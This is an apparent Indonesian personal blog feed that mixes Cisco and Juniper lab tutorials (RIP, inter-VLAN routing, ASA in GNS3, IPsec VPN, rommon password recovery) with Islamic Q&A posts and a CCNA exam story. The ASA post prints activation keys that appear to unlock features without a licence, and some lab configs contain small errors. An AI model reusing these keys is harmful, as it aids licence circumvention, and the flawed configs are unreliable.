Routing Information Protocol (RIP) adalah sebuah protokol routing dinamis yang digunakan dalam jaringan LAN (Local Area Network) dan WAN (Wide Area Network). Oleh karena itu protokol ini diklasifikasikan sebagai Interior Gateway Protocol (IGP). Protokol ini menggunakan algoritma Distance-Vector Routing. Pertama kali didefinisikan dalam RFC 1058 (1988). Protokol ini telah dikembangkan beberapa kali, sehingga terciptalah RIP Versi 2 (RFC 2453). Kedua versi ini masih digunakan sampai sekarang, meskipun begitu secara teknis mereka telah dianggap usang oleh teknik-teknik yang lebih maju, seperti Open Shortest Path First (OSPF) dan protokol OSI IS-IS. RIP juga telah diadaptasi untuk digunakan dalam jaringan IPv6, yang dikenal sebagai standar RIPng (RIP Next Generation / RIP generasi berikutnya), yang diterbitkan dalam RFC 2080 (1997).

selengkapanya di link berikut :

http://id.wikipedia.org/wiki/Routing_Information_Protocol

ane disini menggunakan simulator IOU (IOS ON UNIX)

dengan topology sebagai berikut :

Konfigurasi R1:

R1#conf t
R1(config)#int e0/1
R1(config-if)#ip add 10.10.10.2 255.255.255.0
R1(config-if)#no shut
R1(config-if)#int e0/2
R1(config-if)#ip address 20.20.20.1 255.255.255.0
R1(config-if)#no shut
R1(config-if)#ex
RIP Configuration Commands for R1:
R1(config)#router rip
R1(config-router)#version 2
R1(config-router)#network 10.10.10.0
R1(config-router)#network 20.20.20.0

Konfigurasi R2:

R2(config)#int e0/1
R2(config-if)#ip address 10.10.10.1 255.255.0.0
R2(config-if)#no shu
R2(config-if)#int e0/2
R2(config-if)#ip address 192.168.100.1 255.255.255.0
R2(config-if)#no shut
R2(config)#router rip
R2(config-router)#version 2
R2(config-router)#network 192.168.100.0
R2(config-router)#network 10.10.10.0


Konfigurasi R3:
R3(config)#int e0/1
R3(config-if)#ip add 20.20.20.2 255.255.255.0 
R3(config-if)#int e0/2
R3(config-if)#ip add 192.168.200.1 255.255.255.0
R3(config-if)#ex
R3(config)#router rip
R3(config-router)#ver 2
R3(config-router)#network 192.168.200.0
R3(config-router)#network 20.20.20.0

Verifikasi IP Route dan Ping ke Network di R2 :

Berhasil , okee sekian semoga bermanfaat :)

Wassalamualaikum Warahmatullahi Wabarakatuh

Bagaimana Jika Shalat Subuh Kesiangan?

noreply@blogger.com (Anonymous) — Mon, 03 Mar 2014 06:09:00 +0000

Assalamu’alaikum wr wb. Mau tanya, saya sering tidak terbangun untuk sholat subuh padahal sudah setting alarm di HP, tapi tetap ga bisa bangun bahkan ga sadar udah matiin alarm dan ketika terbangun sudah jam 7 atau 8 pagi. saya juga selalu berdo’a dan membaca Ayat Kursi sebelum tidur.

kira2 apa yg terjadi dengan saya dan bagaimana solusinya..?
terima kasih.
Wassalamu’alaikum wr wb.

Jawab:

Assalamu alaikum wr.wb.

Alhamdulillahi Rabbil alamin Wash-shalatu wassalami ala Rasulillahi wa ala alihi wa shahbih. Amma ba’du:

Jika seseorang tertidur lalu baru bangun setelah waktu shalat berakhir, maka ia harus segera mengerjakannya di saat bangun dari tidurnya. Rasul saw bersabda, “Siapa yang terlupa atau tertidur sehingga tidak mengerjakan shalat, maka kaffarahnya adalah mengerjakan shalat tersebut di saat ingat (atau bangun).” HR Muslim.

Hanya saja kondisi semacam ini tidak boleh dibiarkan, diremehkan, apalagi disengaja. Namun harus ada upaya agar kondisi semacam ini tidak terulang lagi. Apa yang sudah Anda lakukan dengan men-setting alarm dan berdoa sebelum tidur sudah benar. Akan tetapi kalau itu masih belum berhasil, maka harus disertai dengan usaha lain.

Misalnya tidur di awal malam (tidak begadang), tidur dalam kondisi tidak terlalu kenyang, tidak melakukan dosa dan maksiat di siang harinya, meminta bantuan isteri, anak, saudara, atau bahkan orang tua untuk membangunkan Anda. Selain itu perkuat tekad dan banyak berdoa agar Allah memberikan taufik kepada Anda sehingga bisa mengerjakan shalat subuh tepat pada waktunya secara berjamaah.

Wallahu a’lam.

Wassalamu alaikum wr.wb.

Oleh: Pembina sharia-consulting -center

sumber : http://undergroundtauhid.com/bagaimana-jika-shalat-subuh-kesiangan/

Recovery Password Cisco WS-C6509-E Chassis - WS- SUP720-3BXL Module

noreply@blogger.com (Anonymous) — Mon, 17 Feb 2014 03:43:00 +0000

Assalamualaikum Wr Wb

Kemarin sore ane di kasih tugas buat recovery password Cisco WS-C6509 dan ane dan temen coba selalu gagal padahal dah kaya biasanya reset password pakai rommon ubah config registry nya .

ternyata kesalahan nya cuma jangan terlalu cepat tekan control break saat masuk ke rommon dan jangan telat juga hahaha :D

ini nih barang nya :

Step by step nya :

1. Hidupkan Cisco WS-6509 nya pastikan kabel console sudah masuk ke komputer terminal kita biarkan booting secara normal. setelah itu kita lihat config register nya biasanya default "0x2102"

2. Restart Cisco WS-6509 dan siap siap tekan "Pause / Break" di keyboard ingat tekan "Pause / Break" setelah 3 detik keluar notifikasi

00:00:06 %OIR-SP-6-CONSOLE: Changing console ownership to route processor

3. setelah 3 detik keluar notifikasi itu kita tekan "Pause / Break" dan akan masuk Rommon.

4. kita ubah confreg ke 0x2142 dan reload Cisco WS=6509 nya.

rommon 2 > confreg 0x2142
rommon 3 > reload

5. Setelah booting selesai kita beri enable password , rubah ke confreg 0x2102 dan copy dari running config ke startup configuration.

Router#conf t
Router(config)#enable secret cisco
Router(config)#config-register 0x2102
Router#copy run start
Router#reload

selesai kita reload .

Semoga bermanfaat :)

Wassalamualaikum Wr Wb

Inter vlan routing on gns3 "Router on stick configuration "

noreply@blogger.com (Anonymous) — Mon, 17 Feb 2014 03:08:00 +0000

Assalamualaikum Wr Wb

kadang kita temukan Perangkat/Device jaringan dalam VLAN yang berbeda tidak dapat berkomunikasi dengan vlan satu sama lain tanpa router antar VLAN. dalam kebanyakan yang kita tahu VLAN terkoneksi dengan jaringan sendiri atau subnetwork. adapun 2 cara agar VLAN saling berkomunikasi dengan VLAN yang lain :

1. Inter Vlan
2. Switch Virtual Interface (SVI)

oke dah disini ane buat lab dengan contoh sederhana bagaimana penggunaan inter vlan alias router on stick.

yang dimana nantinya kita buat subinterface yang isi nya sesuai vlan yang sudah kita tentukan, misalkan Host A dengan VLAN 10 dan Host B dengan VLAN 20 yang tentunya dengan beda subnet. untuk penggunaan Switch di GNS3 bisa di lihat di post yang sudah saya buat juga :
http://motaroirhaby.blogspot.com/2014/02/how-to-use-switch-in-gns3-switching.html

Konfigurasi Router R1 :
R1#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)#int fa0/0
R1(config-if)#no shut
R1(config-subif)#encapsulation dot1Q 10
R1(config-subif)#ip add 10.10.10.1 255.255.255.0
R1(config-subif)#exit
R1(config)#int f0/0.20
R1(config-subif)#encapsulation dot1Q 20
R1(config-subif)#ip addr 20.20.20.1 255.255.255.0

Konfigurasi Switch :
SW#vlan database
SW(vlan)#vlan 10 name Lab1
VLAN 10 added:
    Name: Lab1
SW(vlan)#vlan 20 name Lab2
VLAN 20 added:
    Name: Lab2
SW(vlan)#exit
APPLY completed.
Exiting....
SW#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
SW(config)#int fa0/0
SW(config-if)#no shutdown
SW(config-if)#switchport mode trunk
*Mar  1 00:02:53.883: %DTP-5-TRUNKPORTON: Port Fa0/0 has become dot1q trunk
SW(config-if)#int fa0/1
SW(config-if)#no shut
SW(config-if)#switchport mode access
SW(config-if)#switchport access vlan 10
SW(config-if)#int fa0/2
SW(config-if)#no shut
SW(config-if)#switchport mode access
SW(config-if)#switchport access vlan 20

selesai kita konfigurasi kita check koneksi di masing masing host

Selesai Semoga Bermanfaat :)

Wassalamualaikum Wr Wb

How to use switch in gns3 (switching labs in gns3)

noreply@blogger.com (Anonymous) — Thu, 13 Feb 2014 03:48:00 +0000

Assalamualaikum Wr Wb,

sedikit ingin berbagi mengenai bagaimana menggunakan switch di gns3 dengan mengemulate cisco IOS.
karena biasanya apabila kita membuat lab di GNS3 tidak bisa membuat lab layer 2 atau layer 3 Cisco Switch. tapi disini kita coba menggunakan Cisco IOS dimana IOS Router kita jadikan sebagai switch dengan menggunakan NM-16ESW yang ada di GNS3 tapi tidak dengan semua feature tapi masih bisa kita gunakan untuk konfigurasi VLAN , VTP , STP dan lain lain.

keterangan lebih lanjut bisa ke link berikut :

http://www.gns3.net/documentation/gns3/switching-simulation-in-gns3/

Not all commands that exist on an actual switch are supported by the NM-16ESW card, but as you can see, using an EtherSwitch card gives you a lot more features than the integrated virtual switch. If you wish to use this card, I recommend that you download the documentation from Cisco’s official EtherSwitch module page. Only vlan database mode is possible (not the newer global configuration mode) and the show vlan command is show vlan-switch, for example.
To use the card, just add a router and include the NM-16ESW adapter or the EtherSwitch router device if you have configured a c3700 IOS image in GNS3.

1. Download Cisco IOS Router C3640 c3640-jk9o3s-mz.124-16a.bin ( Download Disini ) dan masukan ke GNS3.
2. Buka Tab GNS3 dan masuk ke Menu Symbol dan add ethernet Switch dan pada scroll down pilih Router c3600.

3. Drag and Drop Ke Dashboard dan klik kanan configure pada tab slot pilih module NM-16ESW dan NM-1FETX:

selesai kita simpan dan running SW nya :

Selesai semoga bermanfaat

Wassalamualaikum Wr Wb

Alhamdulilah Pass CCNA 200-120 Routing Switching

noreply@blogger.com (Anonymous) — Tue, 11 Feb 2014 06:57:00 +0000

Assalamualaikum Wr Wb,

Ingin sedikit cerita sesuatu di bulan februari ini.

Berawal dari niat ingin dapat sertifikasi CCNA (ga muluk muluk dulu) waktu umur 20th tetapi sempat tertunda karena uang tabungan sedikit dipakai buat biaya masuk kuliah. karena targetnya dulu pas umur 20th pengen bisa dapat sertifikasi CCNA dan Masuk kuliah S1 maklum cuma lulusan SMK sederajat hahaha :D

Nah pas tanggal 4 Januari 2014 kemarin ke kota semarang niat nya Silaturahim.

dan waktu itu habis makan pecel Enak di Simpang Lima Semarang, duduk dan ngobrol-ngobrol depan masjid baiturahman ..

Sempat ngobrol kurang lebih seperti ini ..

Ane : te target 2014 ini apa te ? hehe

Dia : kamu dulu apa .. ?

Ane : ane otomatis jawab pengen bisa dapet sertifikasi cisco , juniper dapat kerjaan lebih baik biar bisa nabung nya tambah banyak te , amiin .. hehe , km apa te ?

Dia : hmmm cepet wisuda dapat kerjaan , amiin .. kurang lebih dia jawab gt .

Ya sudah te salat dulu te nanti sekalian kita doain sama sama ya te, kebetulan jam nya juga dah maghrib jadi salat dl.

Setelah itu pulang dan balik lagi ke Jakarta, selang beberapa minggu di panggil sama atasan .

dan saya di minta untuk kesiapannya sertifikasi cisco (karena disini ane belum punya sertifikasi) dan ane kaget. ya dalam hati alhamduliah bersyukur banget hehe .. alhamdulilah Allah jawab doa nya .

Memang saat itu ada project di kantor dimana Engineer nya harus punya sertifikasi dan ane di ikutin ya sudah mulai dari situ alhamdulilah ane mulai siapin diri buat ujian . hehe

dan di jadwalkan lah 5 februari 2014 . dengan persiapan di mulai dari 23 Januari 2014 kurang lebih 14 hari.

selama itu cari referensi untuk CCNA code 200-120 dari milist Id-networker , examtut , 9tut .

dengan sistem 2 jam ng lab 2 jam baca buku dan materi sebanyak banyaknya.

selama persiapan itu juga lagi ngerjain project installasi Cisco ASA pulang malam bahkan sampai pulang pagi di tambah lagi ada UAS di kampus tapi udah niat dan bismillahirahmanirahim.

Tiba lah tanggal 5 Februari 2014 yang sebelumnya sudah minta doa sama Ayah Ibu dulu semoga di beri kelancaran, berangkat dengan segala yang sudah dipersiapkan dari Rumah Kost dengan keadaan hujan rintik rintik "gerimis" dan mulai deras. Kebetulan hari sebelumnya juga hujan jadi jas hujannya di jemur dan saat mau di pakai agak robek dalam hati ya gapapa lah :D alhasil sampai kantor pakaian dan tas nya basah untung laptop dan segala isinya aman, di keluarkan lah isi tas termasuk dompet dan dimasukan ke laci meja kerja.

Karena ujian nya jam 1 siang dan berangkat lah jam 11 siang di antar driver kantor, jalanan saat itu juga macet tapi alhamdulilah sampai lah di pearson vue UI Salemba jam 12:30 siang dalam hati lega sudah sampai dan tidak telat. Masuk ruangan administrasi dan admin pun meminta id (KTP/SIM) dalam hati Istighfar kemana dompet? baru ingat tadi isi tas di keluarkan semua dan ke tempat ujian hanya bawa bolpoint.

Dan disitu mohon kebijakan dari pearsonvue, karena admin tetap kekeh dah katanya uang nya hangus, karena mungkin wajah ane agak memelas dan ibu nya pun luluh buahaha :D

" yasudah mas saya tunggu ga boleh lebih dari sore ini yaa " kata ibunya ... dan akhir nya saya minta teman kantor buat anter tuh dompet , nama nya pak Andi (Terimakasih banyak pak) sambil nunggu ane tinggal salat dzuhur doa supaya di beri kelancaran lebih dan pass exam nya . sambil nunggu dah cemas aja hahaha

Alhamdulilah Pak Andi sampai juga, Saya lari dan kasih ID card/KTP saya ke admin, Foto , tandatangan dan masuk ruangan. sebelah ane lagi ada yang ujian juga ujian CCIE Written dan CCNA Security. setelah itu, masuk dashboard pearsonvue, berdoa dan mengerjakan soal dengan waktu 120 menit untuk 51 soal.

Dengan beberapa soal yang sudah di jawab dan sampai soal belasan sampai di soal lab ACL (Access-list) bagaimana cara nya Host D bisa akses ke Finance Server Port 80/www di 9tut ada juga lab yang spserti itu eeh setelah dibaca baik baik soalnya nya beda dari IP tapi ketentuan tetap sama. alhamduliah selesai ngetik CLI 4 baris copy dari running config ke startup config dan test bisa akses dan host lain tidak bisa akses selain host D itu.

Lanjut jawab soal ketemu lagi sama ACL Simlet dan sukses, lanjut ke soal sekitar beberapa soal dari itu ada Lab EIGRP soalnya tentang ada 4 Router, 3 Router bisa konek ke ISP dan 1 Router belum bisa. setelah di cek AS salah, IP PTP belum dan network nya belum di masukan, selesai lab EIGRP berharap ada lab lagi ternyata soal nya sudah habis.

Niat nya mau review soal tapi dalam hati kok mana menu review nya yaa ? eeh ke klik dah tuh end exam hahaha . dalam hati yaaah yaaah .. dan tulisan congrat dengan skor 972/1000 .. alhamdulilah .. walau target nya sih 990/1000 sih :D

Senang dan langsung ngabarin atasan kalo pass exam .. dan pulang ke kantor .

alhamduliahirabilalamin .. sekian cerita dari saya .. semoga yang lain tidak sampai lupa untuk bawa ID card seperti saya, tapi alhamdulilah Allah Swt selalu kasih jalan :)

Hukum Bergerak lebih 3 kali Ketika Sholat

noreply@blogger.com (Anonymous) — Mon, 10 Feb 2014 04:35:00 +0000

Hukum Bergerak lebih 3 kali Ketika Sholat

Saya srng mendengar orang yang bergerak lebih 3 kali dalam shalat, bisa membatalkan shalatnya. Apa ini benar? apa dalilnya?

Jawab:

Bismillah was shalatu was salamu ‘ala rasulillah, amma ba’du,

Sebelumnya kita perlu mempertegas bahwa yang dimaksud gerakan dalam pembahasan ini adalah gerakan yang bukan termasuk gerakan shalat.

Terdapat banyak dalil yang menunjukkan bahwa Nabi shallallahu ‘alaihi wa sallam melakukan gerakan yang bukan termasuk gerakan shalat, seperti menggendong cucu beliau, memindahkan orang, melepas sandal, membukakan pintu, bergerak maju, dan yang lainnya. Berikut beberapa riwayat tersebut,

Pertama, Nabi shallallahu ‘alaihi wa sallam menggendong cucunya, bernama Umamah bintu Abil Ash. Ibunya Umamah bernama Zainab putri sulung Nabishallallahu ‘alaihi wa sallam.

Dari Abu Qotadah radhiyallahu ‘anhu menceritakan,

أَنَّ رَسُولَ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ كَانَ يُصَلِّي وَهُوَ حَامِلٌ أُمَامَةَ بِنْتَ زَيْنَبَ بِنْتِ رَسُولِ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، فَإِذَا سَجَدَ وَضَعَهَا، وَإِذَا قَامَ حَمَلَهَا

Bahwa Rasulullah shallallahu ‘alaihi wa sallam shalat sambil menggendong Umamah putri Zainab bintu Rasulullah shallallahu ‘alaihi wa sallam. Apabila beliau sujud, beliau letakkan Umamah, dan apabila beliau bangkit, beliau menggendongnya. (HR. Bukhari 516, Muslim 543, dan yang lainnya).

Kedua, Nabi shallallahu ‘alaihi wa sallam memindahkan orang yang shalat bersama beliau.

Dari Ibnu Abbas radhiyallahu ‘anhuma menceritakan,

قَامَ النَّبِيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يُصَلِّي مِنَ اللَّيْلِ، فَقُمْتُ أُصَلِّي مَعَهُ، فَقُمْتُ عَنْ يَسَارِهِ، فَأَخَذَ بِرَأْسِي، فَأَقَامَنِي عَنْ يَمِينِهِ

”Nabi shallallahu ‘alaihi wa sallam melakukan shalat malam, kemudian aku ikutshalat bersama beliau. Aku berdiri di sebelah kiri beliau, lalu beliau memegang kepalaku dan memindahkanku ke sebelah kanan beliau.” (HR. Bukhari 699, Muslim 763 dan yang lainnya).

Ketiga, beliau bergerak maju

Dari Jabir bin Abdillah radhiyallahu ‘anhuma,

صَبَبْتُ لرَسُولِ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ وَضُوءًا، فَتَوَضَّأَ فَالْتَحَفَ بِإِزَارِهِ، فَقُمْتُ عَنْ يَسَارِهِ، فَجَعَلَنِي عَنْ يَمِينِهِ، وَأَتَى آخَرُ فَقَامَ عَنْ يَسَارِهِ، فَتَقَدَّمَ رَسُولُ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يُصَلِّي

“Saya menyediakan air untuk Rasulullah shallallahu ‘alaihi wa sallam kemudian beliau berwudhu dan memakai sarung. Kemudian aku berdiri (jadi makmum) di sebelah kiri beliau, kemudian beliau memindahkanku ke sebelah kanannya. Lalu datang orang lain, dan dia berdiri di sebelah kiri beliau, ternyata beliau malah maju dan melanjutkan shalat.” (HR. Ibnu Khuzaimah no. 1536)

Keempat, beliau melepas sandal dan meletakkannya di sebelah kiri

Dari Abu Said al-Khudri radhiyallahu ‘anhu,

بَيْنَمَا رَسُولُ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يُصَلِّي بِأَصْحَابِهِ إِذْ خَلَعَ نَعْلَيْهِ فَوَضَعَهُمَا عَنْ يَسَارِهِ، فَلَمَّا رَأَى ذَلِكَ الْقَوْمُ أَلْقَوْا نِعَالَهُمْ

Ketika Rasulullah shallallahu ‘alaihi wa sallam sedang mengimami para sahabat, tiba-tiba beliau melepas sandalnya dan meletakkannya di sebelah kiri. Para sahabat yang melihat beliau, langsung melepas sandal mereka… (HR. Ahmad 11877, Abu Daud 650 dan dishahihkan oleh Syuaib al-Arnauth).

Kelima, beliau membuka pintu

Dari A’isyah radhiyallahu ‘anha, beliau menceritakan,

اسْتَفْتَحْتُ الْبَابَ وَرَسُولُ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ يُصَلِّي تَطَوُّعًا وَالْبَابُ عَلَى الْقِبْلَةِ فَمَشَى عَنْ يَمِينِهِ أَوْ عَنْ يَسَارِهِ، فَفَتَحَ الْبَابَ ثُمَّ رَجَعَ إِلَى مُصَلَّاهُ

”Saya minta dibukakan pintu, sementara Rasulullah shallallahu ‘alaihi wa sallamsedang shalat sunah, dan pintu ada di arah kiblat. Kemudian beliau berjalanan serong kanan atau serong kiri, lalu membuka pintu dan kembali ke tempat shalatnya.” (HR. Nasai 1206, Abu Daud 922 dan dihasankan al-Albani)

Dan masih banyak beberapa riwayat lainnya yang menunjukkan gerakan beliau ketika shalat.

Bisa dipastikan, gerakan yang beliau lakukan lebih dari 3 kali. Sementara beliau sama sekali tidak membatalkan shalat yang sedang beliau kerjakan. Semua ini dalil bahwa gerakan di luar shalat yang lebih dari 3 kali, tidak membatalkan shalat.

Kapan gerakan itu bisa membatalkan shalat?

Imam Ibnu Al-Utsaimin menjelaskan bahwa gerakan selain bagian dari shalat, yang dilakukan ketika shalat tidak secara mutlak bisa membatalkan shalat. Gerakan itu terhitung membatalkan shalat jika terpenuhi beberapa syarat. Beliau menyebutkan,

الشُّروط لإِبطال الصَّلاة بالعمل الذي مِن غير جنسها أربعة:

1 ـ أنه كثير.

2 ـ من غير جنس الصَّلاة.

3 ـ لغير ضرورة.

4 ـ متوالٍ، أي: غير متفرِّق

Syarat batalnya shalat karena melakukan gerakan selain bagian dari shalat ada empat:

1. Sering

2. Bukan bagian dari gerakan shalat

3. Tidak ada kebutuhan mendesak

4. Berturut-turut, artinya tidak terpisah.

(As-Syarh al-Mumthi’, 3/354)

Beliau juga menjelaskan,

Jika gerakan yang banyak tersebut dilakukan secara terpisah-pisah maka tidak membatalkan sholat. Jika ia bergerak tiga kali pada raka’at yang pertama, kemudian bergerak lagi tiga kali di rakaat kedua, kemudian bergerak tiga kali juga di rakaat ketiga, dan bergerak juga tiga kali di rakaat keempat, maka jika seandainya gerakan-gerakan ini digabung tentunya banyak gerakannya, akan tetapi tatkala gerakan-gerakan tersebut terpisah-pisah maka jadi sedikit jika ditinjau pada setiap rakaat masing-masing, dan hal ini tidak membatalkan sholat. (Syarhul Mumti’ 3/351).

Allahu a’lam

Dijawab oleh Ustadz Ammi Nur Baits (Dewan Pembina KonsultasiSyariah.com)

Sumber : http://www.konsultasisyariah.com/bergerak-lebih-3-kali-membatalkan-shalat/

Enable ASDM on Cisco ASA [GNS3]

noreply@blogger.com (Anonymous) — Mon, 03 Feb 2014 06:45:00 +0000

Assalamualaikum Wr Wb

sebelumnya mungkin ada yang belum tahu apa itu ASDM :D

ASDM "Adaptive Security Device Manager" kalo bnyak orang bilang sih GUI yang ada di Cisco ASA/Pix .

atau lebih lengkap bisa ke mari :D

http://www.cisco.com/en/US/products/ps6121/

nah di sini ane cuma mau jelasin gimana enable ASDM yang ada di Cisco ASA (GNS3).

ASA1> enable
Password:
ciscoasa# configure terminal
ciscoasa(Config)# interface ethernet1
ciscoasa(Config-if)# nameif inside
ciscoasa(Config-if)# ip address 192.168.100.1 255.255.255.0
ciscoasa(Config-if)# no shutdown
ciscoasa(Config-if)#

Copy ASDM ke Cisco ASA disini ane pake TFTP

selesai kita copy kita enable dan masukan IP yang di ijinkan untuk akses ASDM bisa dari inside / outside tergantung zone yang kita pilih.

ciscoasa(Config)# asdm image flash:/asdm.bin.
ciscoasa(Config)# http server enable.

ciscoasa(Config)# http 192.168.100.0 255.255.255.0 inside

oke kita coba akses dengan menggunakan browser IE pastikan sudah terinstall Java .

Oke Selesai semoga bermanfaat :)

Wassalamualaikum Wr Wb

Inspirasi Pagi ?

noreply@blogger.com (Anonymous) — Tue, 28 Jan 2014 03:55:00 +0000

Ke mana perginya doa?
Jika berharap uang, yang datang utang
Jika pinta kemudahan, yang ada kesulitan
Jika doakan kesehatan, yang hampiri penyakit

Jangan kau tanya mengapa Allah tak kabulkan doa
Jangan kau paksa kapan Allah ijabahkan doa
Jangan kau heran mengapa Allah abaikan doa
Tapi tanyakan seperti apa tubuhmu bicara
Tanyakan seperti apa hatimu berkata

Apa Subuhmu menjelang Dhuha
Apa Dzhuhurmu sisa waktu bisnismu
Apa Ashar-Maghribmu terlalu dekat
Apa Isyamu terkantuk karena mengantuk

Jangan salahkan Allah,
Jika doa kita jarang terkabul
Dan Jangan salahkan Allah

Semoga bermanfaat dan bisa mengambil hikmahnya...

Emulate Cisco ASA 8.4.2 di GNS3

noreply@blogger.com (Anonymous) — Fri, 20 Dec 2013 03:43:00 +0000

Assalamualaikum Warahmatullahi Wabarakatuh

seperti biasa ingin menjadikan arsip belajar kali ini tentang bagaimana cara emulate Cisco ASA di GNS3

disini versi GNS3 yang ane pake 0.8.6 dan Cisco ASA 8.4.2

untuk ios cisco asa bisa di download di sini >> Download Cisco ASA <<

oke langsung untuk konfigurasi di GNS3 nya

Keterangan :
Identifier name : terserah di isi dengan nama apa
RAM : 1 Gb
Number of NICs : 6
NIC Models : e1000
Qemu Options : -vnc none -vga none -m 1024 -icount auto -hdachs 980,16,32
Initrd : Browse dimana letak initrd Cisco ASA
kernel : Browse dimana letak kernel vmlinuz Cisco ASA
kernel cmd line : -append ide_generic.probe_mask=0x01 ide_core.chs=0.0:980,16,32 auto nousb console=ttyS0,9600 bigphysarea=65536

save - OK
Sekarang Drag and Drop dan start kemudian Console ke Cisco ASA nya

enable password "kosong tanpa password" hanya tekan enter saja :D
karena beberapa features belum aktif dan kita add activation key nya , untuk proses aktivation key nya 10-15 menit.

activation-key 0x4a3ec071 0x0d86fbf6 0x7cb1bc48 0x8b48b8b0 0xf317c0b5
activation-key 0xb23bcf4a 0x1c713b4f 0x7d53bcbc 0xc4f8d09c 0x0e24c6b6

setelah activation di masukan kita reboot/reload Cisco ASA nya .

Ok selesai :D
oiya bila kita ingin menjalankan lebih dari 1 ASA kita bisa edit qemu option nya :

Qemu Options: -vnc :2 none -vga none -m 1024 -icount auto -hdachs 980,16,32

sekian semoga bermanfaat ,
Wassalamualaikum Warahmatullahi Wabarakatuh :)

Konfigurasi IPSec Site to Site VPN di Juniper

noreply@blogger.com (Anonymous) — Tue, 17 Dec 2013 20:43:00 +0000

Assalamualaikum Wr Wb

Ingin sharing sekaligus jadi arsip belajar mengenai IPSec VPN di Juniper.

Topology :

Deskripsi Umum :

• Interface LAN ge-0/0/1 zone trust , menggunakan IP Private.

• Interface dari Provider ge-0/0/0 zone untrust dan menggunakan IP Public (simulasi menggunakan IP private/ IP point to point).

• Buat interface Tunnel di masing masing router, SRX menggunakan interface st0.0 dan SSG20 menggunakan Interface Tunnel.1 yang nantinya sebagai jalur VPN dengan membuat zone baru yaitu “VPN”.

Konfigurasi

Junos OS memakai konsep logical component interface. Dalam contoh ini menggunakan unit 0 dan family inet (IPv4). Untuk statik route kita spesifik antara gateway dan next hop nya. Setelah itu kita buat unik zone untuk tunnel traffic yang nanti nya kita allow di policy masing masing router dalam hal VPN Trafik dan untuk memudahkan dan membedakan dengan policy lainnya. Bisa juga kita membuat policy untuk blok traffic selain traffic VPN dan network mana yang bisa mengakses nya.

Host-inbound services diperlukan untuk masing masing router. Contoh services yang tersedia FTP, HTTP, HTTPS, Internet Key Exchange (IKE), ping, rlogin, RSH, SNMP, SSH, Telnet, TFTP, traceroute. Tapi dalam hal ini kita asumsikan allow semua services dari zone trust dan untuk alasan security kita hanya allow IKE dari system services untrust.

Dalam contoh ini kita buat address book/address list contoh local-net(10.10.10.0/24) dan remote-net(192.168.168.0/24). Saat kita mengkonfigurasi Peer IKE(Internet Key Exchange), IKE dapat di diklasifikan mulai dari IP Address, full qualified domain name/user fully qualified domain name(FQDN/UFQDN) atau ASN1-DN public key infrastructure (PKI Certificates). Dalam contoh ini kita menggunakan IP Address dengan menggunakan standart proposal IKE gateway nya (phase 1) walaupun kita dapat membuat proposal sendiri sesuai yang kita kehendaki dan kemudian kita spesisifikasikan di IPsec Policy nya.

Tahap - Tahap Konfigurasi :

1. Konfigurasi IP address di masing masing interface router sesuai gambar topology.

2. Konfigurasi default route ke gateway provider internet dan static route untuk remote office LAN(SSG20).

3. Konfigurasi Security Zone dan bind interface setelah itu kita konfigurasi host inbound traffic di masing masing zone. Dalam contoh ini kita harus enable service IKE (Internet Key Exchange) di interface ge-0/0/0 dalam zone untrust.

4. Konfigurasi Addressbook masing masing zona yang nantinya kita gunakan dalam pembuatan policy.

5. Konfigurasi phase 1 IKE gateway. Dalam contoh ini standart proposal tidak msalah walau kita ingin mengggunakan proposal sendiri asalakn nantinya sama di masing masing peer nya.

6. Konfiigurasi phase 2 (IPsec) VPN. sama hal nya dengan phase 1 kita gunakan standart proposal atau ingin menggukana proposal sendiri.

7. Bind secure tunnel (st0) interface ke zone VPN.

8. Konfigurasi security policies, kita permit Traffik dari remote office(SSG) ke corporate LAN (SRX) dan kita juga konfigurasi policy outgoing trust ke untrust permit semua policy (any) dengan source NAT dari trafik internet.

9. Konfigurasi TCP- maximum segment size (tcp-mss) untuk IPsec traffic.

Konfigurasi Junos OS (SRX210) Corporate Office

1. Konfigurasi IP address untuk Interface LAN, Point to point interface/ Ip public, dan Interfcae tunnel (st0) :

[edit]
root# set interfaces ge-0/0/0 unit 0 family inet address 1.1.1.1/30
root# set interfaces ge-0/0/1 unit 0 family inet address 10.10.10.1/24
root# set interfaces st0 unit 0 family inet address 10.11.11.10/24

2. Konfigurasi routing network LAN remote office untuk tunnel trafik dapat di routing langusng ke interface tunnel atau di spesifikasikan dengan IP address nya sebagai next-hop nya.

root# set routing-options static route 192.168.168.0/24 next-hop st0.0

3. Konfigurasi Zone masing masing interface.

[edit]
root# set security zones security-zone untrust interfaces ge-0/0/0.0
root# set security zones security-zone trust interfaces ge-0/0/1.0
root# set security zones security-zone vpn interfaces st0.0

4. Konfigurasi host-inbound services di masing masing zone :

[edit]

root# set security zones security-zone trust host-inbound-traffic system-services all
root# set security zones security-zone untrust host-inbound-traffic system-services ike

5. Konfigurasi addressbook / address list di masing masing zone :

[edit]
root# set security zones security-zone trust address-book address local-net 10.10.10.0/24
root# set security zones security-zone vpn address-book address remote-net 192.168.168.0/24

6. Konfigurasi IKE policy main mode contoh yang saya buat “ike-polcy1”, standard proposal dan preshared key dalam string. Preshared key yang nantinya kita samakan juga di remote office (SSG20)

[edit]
root# set security ike policy ike-policy1 mode main
root# set security ike policy ike-policy1 proposal-set standard
root# set security ike policy ike-policy1 pre-shared-key ascii-text "secretkey"

7. Konfigurasi IKE gateway (phase 1) contoh yang saya buat “ike-gate” dengan peer IP address remote office, IKE Policy yang sudah kita buat di atas dan outgoing interface.

[edit]
root# set security ike gateway ike-gate ike-policy ike-policy1
root# set security ike gateway ike-gate address 1.1.1.2
root# set security ike gateway ike-gate external-interface ge-0/0/0.0

8. Konfigurasi IPsec policy dalam standart proposal , standart proposal ( the esp-group2-3des-sha1 and esp-group2-aes128-sha1 ).

[edit]
root# set security ipsec policy vpn-policy1 proposal-set standard

9. Konfigurasi IPsec VPN dengan IKE gateway yang sudah kita buat dan IKE Policy yang sudah kita buat juga dan kemudian kita bind interface ke interface st0.0 yang sudah kita masukan zone VPN.

[edit]
root# set security ipsec vpn ike-vpn ike gateway ike-gate
